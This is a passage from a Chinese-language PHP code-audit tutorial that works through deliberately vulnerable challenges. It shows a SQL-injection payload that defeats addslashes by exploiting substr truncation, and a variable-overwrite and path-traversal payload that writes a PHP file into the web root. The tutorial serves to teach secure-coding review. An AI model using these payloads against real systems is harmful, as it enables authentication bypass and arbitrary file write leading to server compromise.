if (!$auth->isValid()) {exit;
}?>
初步判断是个过滤双引号的sql注入,如果不能用宽字符注入,貌似就没辙…
万万没想到,单独用addslashes确实是不行,但是加上substr就不一样了
因为规定长度为20,超过20就截取前20,而我们都知道\可以转义特殊字符,所以如果在让本来用于过滤特殊符号的\和输入的特殊符号分开,就能起到转义的作用,恰好,可以写payload:
?input=1234567890123456789'
经测试,得到:1234567890123456789\
放到数据库语句里就变成了:
select count(p) from user where user=''1234567890123456789\' AND password = '$pass''
此时因为有了\,那么后面的’就被转义了,因此可以直接写:
user=1234567890123456789'&passwd=or 1=1#
拼合在sql语句里就是:
select count§ from user where user = ‘1234567890123456789’ AND password = ’ or 1=1#’
此时,加粗的字段是user,后面变成了永真,可进行sql注入
day-14:Snowman
<?php
class Carrot {const EXTERNAL_DIRECTORY = '/tmp/';private $id;private $lost = 0;private $bought = 0;public function __construct($input) {//构造函数传值$this->id = rand(1, 1000);//id取随机数foreach ($input as $field => $count) {//赋值给count$this->$field = $count++;//count++}}public function __destruct() {//构析函数file_put_contents(self::EXTERNAL_DIRECTORY . $this->id,var_export(get_object_vars($this), true));//函数写入,内容为this这个数组里面的东西,这里通过input的传值可传入shell}
}$carrot = new Carrot($_GET);
?>
初步判定,可以通过修改id为路径,输入的值为shell的形式进行写入shell,实现任意文件写入
官方语言说这是变量覆盖 与 路径穿越 的利用:
由于在将随机数赋给id之后,又用来foreach遍历赋值,所以实际上input是覆盖了之前的id变量,导致我们可以写入
payload:
?id=../var/www/html/shell.php&shell=',)%0a<?php phpinfo();?>//
这里的shell=’,)是为了与前面闭合
直接放源代码,测试如下:
可以看到,’,)与前面闭合,导致后面的shell语句不在数组内,成功执行
这篇关于红日代码审计(day1-day14)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!